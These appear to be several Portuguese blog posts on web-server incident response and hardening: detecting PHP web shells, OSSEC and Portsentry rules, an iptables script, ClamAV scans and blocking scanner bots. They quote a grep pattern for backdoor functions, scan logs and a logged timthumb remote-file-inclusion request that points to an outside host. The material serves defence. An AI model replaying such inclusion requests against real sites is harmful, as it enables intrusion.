Em 2011 as atividades hackers foram bastante divulgadas e passaram de mera brincadeira de jovens desocupados para ações “organizadas” com cunho político libertário.

Os grupos que ganharam um rápido prestigio foram o Anonymous e LuLzSec, uma boa parte do marketing em cima das ações destes grupos ficou a cargo das redes sociais, pastebin e do youtube. A partir dai novas facções como AnonymousBR, iPiratesGroup, LuLzSecBR, GreyHatBR, AntiSecBR e alguns pichadores virtuais foram surgindo em busca de seus 15 min de fama.

Analisando os resultados divulgados não foi dificil entender o porque de tanto sucesso. Identifiquei erros simples como senhas fracas no ambiente de administação do sites ( e.g. admin@dominio/manager ) e muito mas muito SQLi e Blind SQLi.

Abaixo passo algumas dicas de como sobreviver após o comprometimento de sua infra-estrutura e como mitigar as falhas.

1 – Web Backdoors

Os web shells[1] [2] permitem o acesso ao ambiente comprometido mesmo após corrigidas as falhas. Estudar o código destas ferramentas facilita sua detecção e remoção.

Nestes casos um AV ajuda muito tanto no Ambiente Windows quanto no Linux, mas muito cuidado pois nem todos os AVs são capazes de detectar web backdoors bastantes conhecidos ( e.g Symantec ). Uma forma de validar a varredura é fazendo buscas manuais:

No Linux

grep -RPl –include=*.{php,txt,asp} “(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(” /var/www/

No Windows

Usando a ferramenta de busca procure pelas palavras acima.

2 – Análise do alvo

Após o incidente é muito importante entender quais foram as vulnerabilidades que permitiram a invasão. Ferramentas para análise de vulnerabilidades como o Nessus, Arachni, Uniscan, Acunetix são de fundamental importância, pois elas indicam as possíveis portas de entrada e facilitam a criação do plano de mitigação.

Auditar o banco de dados é de extrema importância já que entradas indevidas podem ser adicionadas ( e.g contas fantasmas), e alguns lixos do ataque.

3 – Proteção extra e monitoramento

Aplicar uma camada a mais de segurança permite dificultar as tentativas de ataque não permitindo a varredura em busca de vulnerabilidades e portas abertas. Não deixe essa responsabilidade somente a cargo da ferramenta de proteção de borda ( e.g IPS ), por ela ser baseada em Pattern matching nem todos os ataques serão bloqueados e muito cuidado com os falsos positivos já que uma aplicação com falha no código fará com que o IPS entenda qualquer requisição como maliciosa, auditar todos os alertas muitas vezes sem bloqueá-los é o mais recomendado.

O Ossec juntamente com o Splunk, Portsentry, Samhaim e o ModSecurity são ferramentas que auxiliam bastante nesta tarefa. Outro hábito pouco utilizado é a análise dos logs, uma simples busca por palavras como Nikto, Havij, perl, whitehat, Uniscan, acunetix, fuck, scanner, timthumb, pma, phpmyadmin nos logs do Apache e do IIS permitem identificar algumas tentativas de ataque.

4 – Atualização e restrição de acesso

Manter o ambiente atualizado é uma boa prática pouco utilizada muito mais por medo principalmente quando o ambiente é de alta criticidade ( e.g SGBDs ). Nos ambientes Linux o cron-apt (Debian e derivados) e o Spacewalk (RedHat e derivados) ajudam muito, os sistemas Windows contam com o velho WSUS que geralmente fica esquecido sem a devida atenção.

Restringir o acesso aos ambientes administrativos do site ( e.g wp-admin, admin, administration ) e o FTP evitando assim ataques de brute-force, outra boa prática é a utilização de senhas fortes, isto soa bastante clichê, porém após analisar algumas áreas administrativas encontrei senhas ridiculas de acesso.

Conclusão

Estas dicas apenas mostram o caminho a ser seguido. Experiência, bom senso e estudo continuo são fatores que diferenciam na resolução dos incidentes e na prevenção.

Última dica: FERRAMENTAS FALHAM.

Sugiu uma vulnerabilidade no WordPress classificada como alta, a falha foi encontrada no script timthumb presente na maioria dos templates e permite a inclusão de arquivos maliciosos.

O Ossec alerta e bloqueia as tentativas de ataque com o objetivo de explorar está vulnerabilidade se o active-response estiver habilitado.

OSSEC HIDS Notification.
2011 Nov 11 03:29:38

Received From: acme->/var/log/httpd/www.acme.com-access_log
Rule: 31151 fired (level 10) -> “Mutiple web server 400 error codes from same source ip.”
Portion of the log(s):

xx.xxx.xxx.xxx – - [11/Nov/2011:04:29:25 -0200] “GET //wp-content/themes/Quadro/thumb.php?src=http://picasa.com.xpl.be/yahoo.php HTTP/1.1″ 404 232 “-” “Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4″

Para corrigi-la é necessário executar os seguintes passos:

1 . Localizar se o arquivo timthumb.php, thumb.php ou similar que encontra-se no diretório template localizado em /wp-content/themes;

2. Em caso afirmativo substituir todo o código pela nova versão[1]
 
[1] code.google.com/p/timthumb/source/browse/trunk/timthumb.php

Maiores informações:

blog.ptservidor.pt/seguranca/alerta-de-seguranca-vulnerabilidade-timthumb/
blog.spiderlabs.com/2011/11/wordpress-timthumb-attacks-rising.html
markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/

SSASec
O SSASec é um encontro mensal e informal de profissionais, estudantes, pesquisadores, hackers e interessados em geral por segurança da informação, visando a troca de experiência, networking e como uma forma de nos mantermos atualizados sobre os assuntos ligados a área.

Nós estamos promovendo um mini-evento que ocorrerá dia 12/11 ( sábado ) das 09 às 12 no auditório da Faculdade Ruy Barbosa localizada no Rio Vermelho.

Agenda:
Dia: 12/11 ( sábado )
Horário: 09 às 12
Local: Faculdade Rui Barbosa – Rio Vermelho

Palestras
Segurança da Informação – Por onde começar? – Alexandro Silva ( DCLabs )
Segurança de infrastrutura – DNSSec – Ítalo Valcy ( POP/UFBA )
Por trás das pesquisas em Segurança da Informação – Rick ( Corelan ) e AndersonC0d3 ( Hack’n Roll )

Não haverá inscrição, é só ir e se divertir!!

O Muffin é um dos projetos do grande Tony Rodrigues, ele é um Incident Response Toolkit (Master Unit For Forensics INvestigations) e dá suporte a criação de pendrives com ferramentas que ajuda na coleta de informações voláteis.

Ela está sendo desenvolvida em Pascal com SQLlite usando o Lazarus e é composto por 3 módulos:

O pendrive MUFFIN, que é a toolkit propriamente dita;
O MUFFIN Baker, uma ferramenta que permite configurar e gerar o pendrive MUFFIN;
O MUFFIN Report, que vai acessar os dados gerados/coletados pelo pendrive MUFFIN.

O chamado:

“Estamos precisando de colaboradores. Se você conhece de programação e pode nos ajudar, entre em contato. Se você não conhece, mas ainda assim quer ajudar no projeto, excelente. Há muito trabalho e todos são bem vindos.”

Informações:

http://code.google.com/p/muffin-project/

https://code.google.com/p/muffin-project/source/browse/trunk/SETUP-Desenvolvimento.txt?spec=svn30&r=30

Você que é interessado em análise forense e está disposto a dedicar um pouco do seu tempo convido a participar de um projeto promissor e empolgante com um time super gente fina.

Conheça a @OctaneLabs

O Workshop SegInfo promovido pela Clavis Security ocorrerá dias 12 e 13 de agosto na Bolsa de Valores do Rio de Janeiro,e contará com a presença de grandes nomes do cenário de segurança da informação brasileiro como Anchises Morais (@anchisesbr), Nelson Brito (@nbrito), Rodrigo Rubira (@bsdaemon), Tony Rodrigues (@OctanesLabs) entre outros.

Neste evento estarei palestrando sobre segurança de servidores, hardening demonstrando como proteger um servidor de forma simples e efetiva.

Em setembro estarei dividindo o palco com grandes nomes como Luiz Eduardo (@effffn), Wagner Elias (@welias), Andrew Cushman, entre outros na Vale Security Conference que ocorrerá nos dia 03 e 04 no Parque Tecnológico de São José dos Campos.

Nele apresentarei as principais falhas na implementação de ambientes JBoss, como corrigi-las e alguns pentests realizados em portais existentes na internet (#MEDO kkkkk)

Agradeço antecipadamente aos organizadores destes eventos por aceitarem meus papers e espero conhecê-los por lá.

Que venham H2HC 8, Ekoparty 2012 e YSTS 9 (2012) kkkkkkk.

O Ossec HIDS é sem sombra de dúvidas uma das maiores ferramentas de proteção de host, mas como nada é perfeito existe uma deficiência na detecção e bloqueio de portscans.

O próprio Daniel Cid, pai da criança, informou isso em resposta a um questionamento sobre o assunto na lista do Ossec. Vejo o trecho abaixo:

“Ossec by itself does not detect portscans. However, if you send your firewall
logs to ossec it can detect portscans by analyzing your fw logs…”

Para ajudar neste tarefa Daniel indica o uso do iplog em conjunto com o Ossec, mas a última versão é de 2001 e sem manutenção como informa seu desenvolvedor:

“I am through working on this project. I will not be making any updates, and I will ignore just about all email about it. If anybody wants to take it over (for whatever reason), let me know.”

Para atender está demanda podemos utilizar o Postsentry, IDS responsável por detectar e bloquear tentativas de varredura de portas TCP/UDP.

Neste artigo irei apresentar como integrar o Ossec ao Portsentry tornando mais robusta a segurança do seu host. Estou levando em conta que você já possui o Ossec instalado e funcionando.

Instale e inicie o Portsentry

aptitude install portsentry && portsentry -atcp && portsentry -audp

Prepare o Ossec para trabalhar juntamente com o Portsentry adicionando algumas regras locais e do decoder[1].

[1] O decoder é responsável por interpretar os logs de várias ferramentas e juntamente com as regras realizar alguma ação.

Primeiro remova a seguinte regra (linhas 2240-2257) do arquivo /var/ossec/etc/decoder.xml

<!– Portsentry –>

<decoder name="portsentry">

  <program_name>^portsentry</program_name>

</decoder>

<decoder name="portsentry-attackalert">

  <parent>portsentry</parent>

  <prematch>attackalert: Connect from host: </prematch>

  <regex offset="after_prematch">(\S+)/\S+ to (\S+) port: (\d+)$</regex>

  <order>srcip,protocol,dstport</order>

</decoder>

<decoder name="portsentry-blocked">

  <parent>portsentry</parent>

  <prematch>is already blocked. Ignoring$</prematch>

  <regex>Host: (\S+) is</regex>

  <order>srcip</order>

</decoder>

Adicione a seguinte regra no final do arquivo /var/ossec/etc/decoder.xml, antes da tag EOF

<decoder name="portsentry">

 <program_name>^portsentry</program_name>

</decoder>

<decoder name="portsentry-attackalert">

   <parent>portsentry</parent>

   <prematch>attackalert: TCP SYN/Normal scan from host: </prematch>

   <regex offset="after_prematch">(\S+)/\S+ to (\S+) port: (\d+)$</regex>

   <order>srcip,protocol,dstport</order>

</decoder>

<decoder name="portsentry-blocked">

   <parent>portsentry</parent>

   <prematch>is already blocked Ignoring$</prematch>

   <regex>Host: (\S+)/\S+ is</regex>

   <order>srcip</order>

</decoder>

<decoder name="portsentry-scan">

  <parent>portsentry</parent>

  <prematch>^attackalert: </prematch>

  <regex offset="after_prematch">scan from host: (\S+)/\S+ to \S+ port: (\d+)$</regex>

  <order>srcip, dstport</order>

</decoder>

<decoder name="portsentry-host">

  <parent>portsentry</parent>

  <prematch offset="after_parent">^attackalert: Host: </prematch>

  <regex offset="after_prematch">^(\S+)/\S+ </regex>

 <order>srcip</order>

</decoder>

Apartir dai o OSSEC passará a interpretar os logs gerados pelo Postsentry. Agora adicione as seguintes linhas no final do arquivo /var/ossec/rules/local_rules.xml, antes da tag EOF

<group name="syslog,portsentry,">

  <rule id="160000" level="0" noalert="1">

    <decoded_as>portsentry</decoded_as>

    <description>Grouping for the PortSentry rules</description>

  </rule>

  <rule id="160002" level="3">

    <if_sid>160000</if_sid>

    <match>attackalert:</match>

    <description>Connection from a host.</description>

  </rule>

  <rule id="160003" level="8" frequency="4" timeframe="180" ignore="60">

    <if_matched_sid>160002</if_matched_sid>

    <description>Repeated connections from the same host.</description>

    <same_source_ip/>

    <group>recon,</group>

  </rule>

  <rule id="160004" level="10" frequency="8" timeframe="180" ignore="60">

   <if_matched_sid>160002</if_matched_sid>

    <description>Host is still scanning</description>

    <same_source_ip />

    <group>recon,</group>

  </rule>

</group>

Reinicie o OSSEC

invoke-rc.d ossec restart

Após reiniciar o OSSEC qualquer tentativa de varredura usando NMAP ou qualquer outro portscan será bloqueada. Recomendo a utilização de um firewall local, segue o exemplo de um script bastante efetivo.

#!/bin/sh

SYSCTL=”/sbin/sysctl -w”

IPT=”/sbin/iptables”
IPTS=”/sbin/iptables-save”
IPTR=”/sbin/iptables-restore”

INET_IFACE=”eth0″

LO_IFACE=”lo”
LO_IP=”127.0.0.1″

# Save and Restore arguments handled here
if [ "$1" = "save" ]
then
echo -n “Saving firewall to /etc/sysconfig/iptables … ”
$IPTS > /etc/sysconfig/iptables
echo “done”
exit 0
elif [ "$1" = "restore" ]
then
echo -n “Restoring firewall from /etc/sysconfig/iptables … ”
$IPTR < /etc/sysconfig/iptables
echo "done"
exit 0
fi

echo "Loading kernel modules ..."

# This enables SYN flood protection.
if [ "$SYSCTL" = "" ]
then
echo "1" > /proc/sys/net/ipv4/tcp_syncookies
else
$SYSCTL net.ipv4.tcp_syncookies=”1″
fi

# This enables source validation by reversed path according to RFC1812.
if [ "$SYSCTL" = "" ]
then
echo “1″ > /proc/sys/net/ipv4/conf/all/rp_filter
else
$SYSCTL net.ipv4.conf.all.rp_filter=”1″
fi

# This kernel parameter instructs the kernel to ignore all ICMP
if [ "$SYSCTL" = "" ]
then
echo “1″ > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
else
$SYSCTL net.ipv4.icmp_echo_ignore_broadcasts=”1″
fi

# This option can be used to accept or refuse source routed packets.
if [ "$SYSCTL" = "" ]
then
echo “0″ > /proc/sys/net/ipv4/conf/all/accept_source_route
else
$SYSCTL net.ipv4.conf.all.accept_source_route=”0″

fi

# However, we’ll ensure the secure_redirects option is on instead.
if [ "$SYSCTL" = "" ]
then
echo “1″ > /proc/sys/net/ipv4/conf/all/secure_redirects
else
$SYSCTL net.ipv4.conf.all.secure_redirects=”1″
fi

# This option logs packets from impossible addresses.
if [ "$SYSCTL" = "" ]
then
echo “1″ > /proc/sys/net/ipv4/conf/all/log_martians
else
$SYSCTL net.ipv4.conf.all.log_martians=”1″
fi

echo “Flushing Tables …”

# Reset Default Policies
$IPT -P INPUT ACCEPT
$IPT -P FORWARD ACCEPT
$IPT -P OUTPUT ACCEPT

# Flush all rules
$IPT -F

# Erase all non-default chains
$IPT -X

if [ "$1" = "stop" ]
then
echo “Firewall completely flushed! Now running with no firewall.”
exit 0
fi

$IPT -P INPUT DROP
$IPT -P OUTPUT DROP
$IPT -P FORWARD DROP

echo “Create and populate custom rule chains …”

# Create a chain to filter INVALID packets

$IPT -N bad_packets

# Create another chain to filter bad tcp packets

$IPT -N bad_tcp_packets

# Create separate chains for icmp, tcp (incoming and outgoing),
# and incoming udp packets.

$IPT -N icmp_packets

# Used for UDP packets inbound from the Internet
$IPT -N udp_inbound

# Used to block outbound UDP services from internal network
$IPT -N udp_outbound

# Used to allow inbound services if desired
$IPT -N tcp_inbound

# Used to block outbound services from internal network
$IPT -N tcp_outbound

# Drop INVALID packets immediately
$IPT -A bad_packets -p ALL -m state –state INVALID -j LOG –log-prefix ‘fp=bad_packets:1 a=DROP’ –log-level 4

$IPT -A bad_packets -p ALL -m state –state INVALID -j DROP

# Then check the tcp packets for additional problems
$IPT -A bad_packets -p tcp -j bad_tcp_packets

# All good, so return
$IPT -A bad_packets -p ALL -j RETURN

# bad_tcp_packets chain

$IPT -A bad_tcp_packets -p tcp ! –syn -m state –state NEW -j LOG –log-prefix ‘fp=bad_tcp_packets:1 a=DROP’ –log-level 4
$IPT -A bad_tcp_packets -p tcp ! –syn -m state –state NEW -j DROP

$IPT -A bad_tcp_packets -p tcp –tcp-flags ALL NONE -j LOG –log-prefix ‘fp=bad_tcp_packets:2 a=DROP’ –log-level 4
$IPT -A bad_tcp_packets -p tcp –tcp-flags ALL NONE -j DROP

$IPT -A bad_tcp_packets -p tcp –tcp-flags ALL ALL -j LOG –log-prefix ‘fp=bad_tcp_packets:3 a=DROP’ –log-level 4
$IPT -A bad_tcp_packets -p tcp –tcp-flags ALL ALL -j DROP

$IPT -A bad_tcp_packets -p tcp –tcp-flags ALL FIN,URG,PSH -j LOG –log-prefix ‘fp=bad_tcp_packets:4 a=DROP’ –log-level 4
$IPT -A bad_tcp_packets -p tcp –tcp-flags ALL FIN,URG,PSH -j DROP

$IPT -A bad_tcp_packets -p tcp –tcp-flags ALL SYN,RST,ACK,FIN,URG -j LOG –log-prefix ‘fp=bad_tcp_packets:5 a=DROP’ –log-level 4
$IPT -A bad_tcp_packets -p tcp –tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP

$IPT -A bad_tcp_packets -p tcp –tcp-flags SYN,RST SYN,RST -j LOG –log-prefix ‘fp=bad_tcp_packets:6 a=DROP’ –log-level 4
$IPT -A bad_tcp_packets -p tcp –tcp-flags SYN,RST SYN,RST -j DROP

$IPT -A bad_tcp_packets -p tcp –tcp-flags SYN,FIN SYN,FIN -j LOG –log-prefix ‘fp=bad_tcp_packets:7 a=DROP’ –log-level 4
$IPT -A bad_tcp_packets -p tcp –tcp-flags SYN,FIN SYN,FIN -j DROP

# All good, so return
$IPT -A bad_tcp_packets -p tcp -j RETURN

# icmp_packets chain

$IPT -A icmp_packets –fragment -p ICMP -j LOG –log-prefix ‘fp=icmp_packets:1 a=DROP’ –log-level 4
$IPT -A icmp_packets –fragment -p ICMP -j DROP

$IPT -A icmp_packets -p ICMP -s 0/0 –icmp-type 8 -j DROP

# Time Exceeded
$IPT -A icmp_packets -p ICMP -s 0/0 –icmp-type 11 -j ACCEPT

# Not matched, so return so it will be logged
$IPT -A icmp_packets -p ICMP -j RETURN

# Drop netbios calls
$IPT -A udp_inbound -p UDP -s 0/0 –destination-port 137 -j DROP
$IPT -A udp_inbound -p UDP -s 0/0 –destination-port 138 -j DROP

# Not matched, so return for logging
$IPT -A udp_inbound -p UDP -j RETURN

# No match, so ACCEPT
$IPT -A udp_outbound -p UDP -s 0/0 -j ACCEPT

# Web Server

# HTTP
$IPT -A tcp_inbound -p TCP -s 0/0 –destination-port 80 -j ACCEPT

# HTTPS (Secure Web Server)
$IPT -A tcp_inbound -p TCP -s 0/0 –destination-port 443 -j ACCEPT

# sshd
$IPT -A tcp_inbound -p TCP -s 0/0 –destination-port 22 -j ACCEPT

# Not matched, so return so it will be logged
$IPT -A tcp_inbound -p TCP -j RETURN

# No match, so ACCEPT
$IPT -A tcp_outbound -p TCP -s 0/0 -j ACCEPT

echo “Process INPUT chain …”

# Allow all on localhost interface
$IPT -A INPUT -p ALL -i $LO_IFACE -j ACCEPT

# Drop bad packets
$IPT -A INPUT -p ALL -j bad_packets

# Accept Established Connections
$IPT -A INPUT -p ALL -i $INET_IFACE -m state –state ESTABLISHED,RELATED -j ACCEPT

# Route the rest to the appropriate user chain
$IPT -A INPUT -p TCP -i $INET_IFACE -j tcp_inbound
$IPT -A INPUT -p UDP -i $INET_IFACE -j udp_inbound
$IPT -A INPUT -p ICMP -i $INET_IFACE -j icmp_packets

# Drop without logging broadcasts that get this far.
$IPT -A INPUT -m pkttype –pkt-type broadcast -j DROP

# Log packets that still don’t match
$IPT -A INPUT -j LOG –log-prefix “fp=INPUT:99 a=DROP ”

echo “Process FORWARD chain …”

echo “Process OUTPUT chain …”

$IPT -A OUTPUT -m state -p icmp –state INVALID -j DROP

# Localhost
$IPT -A OUTPUT -p ALL -s $LO_IP -j ACCEPT
$IPT -A OUTPUT -p ALL -o $LO_IFACE -j ACCEPT

# To internet
$IPT -A OUTPUT -p ALL -o $INET_IFACE -j ACCEPT

# Log packets that still don’t match
$IPT -A OUTPUT -j LOG –log-prefix ‘fp=OUTPUT:99 a=DROP’ –log-level 4

echo “Load rules for mangle table …”

Referências

Firewall Script

Portsentry decoders and rules issues

Engraçado como alguns conceitos mudam totalmente ao passar do tempo, principalmente quando alguns incidentes são os causadores destas mudanças.

Há algum tempo atrás e digo que isso não faz muito tempo, quando o assunto era instalar antivírus no Linux uma névoa negra encobria minha mente e o orgulho ou seria melhor dizer a ignorância incitava-me a questionar “POR QUE?” já que o Linux é totalmente imbatível.

Isso mudou após alguns eventos que acabaram mostrando a importância de termos um antivírus instalado e uma rotina diária de checagem do sistema.

Sempre é bom lembrar que apesar de todas as medidas de segurança adotadas no sistema, nunca podemos esquecer das vulnerabilidades nas aplicações. Algumas delas permitem a inserção de arquivos maliciosos ( eg backdoors ou bots ).

Existem backdoors escritos em php, asp, jsp, etc que permitem o controle total da máquina vitima, e o uso de um antivírus é fundamental na detecção e remoção destes malwares.

Vejam alguns exemplos de malwares detectados e removidos pelo Clamav:

./xxx.xxxx.xxx.br/xxxx/xoops_lib/modules/protector/s.txt: PHP.Remoteadmin-1 FOUND
./xxx.xxx.xxx.br/xxx/xoops_lib/modules/protector/sql/index.php/.Insiderz/xh: Hacktool.Fakeproc FOUND
./xxx.xxx.xxx.br/conepir/xoops_lib/modules/protector/sql/index.php/.Insiderz/nadya: Trojan.Eggdrop-117 FOUND
/xxx/xxx/xxx/xxx/xxx/xxxx/datacha0s.txt: PHP.Chaploit
/xxx/xxx/xxx/xxx/.X-un1x.2: Trojan.Perl.Shellbot-2

Estes arquivos são normalmente implantados no diretório /tmp com as permissões da aplicação. Em várias situações detectei alvos infectados conectando diversos servidores IRC formando botnets que derrubavam toda a infra da empresa.

Apartir dai passei a adotar uma rotina diária de checagem do /tmp a cada 05 min e do diretório /var/www/ uma vez ao dia, os resultados obtidos após estas medidas estão sendo bastantes satisfatórios.

Implementação

aptitude install clamav

Agendamento

crontab -e
*/5 * * * * clamscan -r –remove -l /var/log/clamav/scan_tmp.txt /tmp/
00 23 * * * clamscan -r –remove -l /var/log/clamav/scan_www.txt /var/www/

Existem também ferramentas para ajudar na localização de WEB Backdoors Shells.

Qual AV usar fica a seu critério, para mim o Clamav vem dando conta do recado. Existem diversas soluções no mercado, escolha a sua.

Finalmente a criança nasceu!!

Comentei no Staysafe podcast sobre este projeto e finalmente tive coragem de concluí-lo. O principal objetivo é apresentar como o usuário pode proteger-se utilizando ferramentas disponibilizadas pelo próprio fabricante do sistema operacional.

Um grande motivador foi a apresentação do Assolini no webinar Local Threats porque muitos incidentes podem ser evitados usando ferramentas básicas como um firewall e um antivírus.

Além disso o que vale é o bom senso do usuário, mas para isso cabe a empresa/midia criar campanhas de conscientização e adoção de práticas seguras no dia a dia.

Espero que todos gostem e divulguem.

Versão resumida voltada para usuários finais DOWNLOAD

Versão completa para CSOs estará disponível em breve.

LuLzSec
O Anchises postou em seu excelente blog um comentário bastante sóbrio sobre o LuLzSec. Segue um techo:

Várias empresas e profissionais de segurança de todo o mundo estão em alerta desde que os grupos hacktivistas Anonymous e LulzSec lançaram a “Operation Anti-Security” (em português, “Operação Anti-Segurança”), ou simplesmente, AntiSec.

O grupo Lulz Security (conhecido principalmente como LulzSec) surgiu recentemente, como um dissidência do Anonymous. Enquanto o Anonymous tem focado suas operações recentes principalmente em ataques e protestos com motivação política, o LulzSec tem realizado ataques com objetivo de expor a fragilidade de várias empresas, como a Sony, um de seus alvos prediletos e que deu destaque ao grupo. Após um breve rumor surgido na semana passada de que os dois grupos estariam em guerra, ambos soltaram um comunicado em conjunto neste final de semana (no dia 19/06, mais precisamente) avisando de que juntaram forças e deram início a uma nova campanha contra governos, bancos e grandes empresas de todo o mundo, chamada “Operation Anti-Security”.

Recomendo muito a leitura!

Leia mais em AnchisesLandia

A enchurrada de Web scanners disponíveis na internet e o infeliz do ZmEu bot acabam tornando a vida dos nossos servidores Web um inferno.

Geralmente o Apache responde a estas tentativas com sucessivos error 400 ( Bad Request ). Para acabar com essa apurrinhação podemos bloqueá-las usando o Ossec HIDS.

Exemplo de um log do ZmEu bot

82.145.xx.xx – – [13/Aug/2010:07:19:36 -0300] “GET /phpadmin/scripts/setup.php HTTP/1.1″ 404 192 “-” “ZmEu”
82.145.xx.xx – – [13/Aug/2010:07:19:35 -0300] “GET /typo3/phpmyadmin/scripts/setup.php HTTP/1.1″ 404 198 “-” “ZmEu”
82.145.xx.xx – – [13/Aug/2010:07:19:35 -0300] “GET /mysqladmin/scripts/setup.php HTTP/1.1″ 404 194 “-” “ZmEu”
82.145.xx.xx – – [13/Aug/2010:07:19:34 -0300] “GET /myadmin/scripts/setup.php HTTP/1.1″ 404 192 “-” “ZmEu”
82.145.xx.xx – – [13/Aug/2010:07:19:33 -0300] “GET /dbadmin/scripts/setup.php HTTP/1.1″ 404 191 “-” “ZmEu”
82.145.xx.xx – – [13/Aug/2010:07:19:33 -0300] “GET /admin/phpmyadmin/scripts/setup.php HTTP/1.1″ 404 196 “-” “ZmEu”

Para isso adicione as linhas abaixo dentro da tag Active Response Config localizada no arquivo /var/ossec/etc/ossec.conf

1
2
3
4
5
6
7
8
<!– Active response to block http scanning –>

    <active-response>
        <command>route-null</command>
        <location>local</location>

    <!– Multiple web server 400 error codes from same source IP –>
        <rules_id>31151</rules_id>
        <timeout>600</timeout>

    </active-response>

A configuração acima executará o script route-null sempre que a regra 31151 em web_rules.xml for detectada bloqueando o atacante por 10 min ( 600s ), isto significa que ocorrendo vários erros 400 no log do Apache o ip de origem será bloqueado por 10 min.

Fonte:

ITSC Blog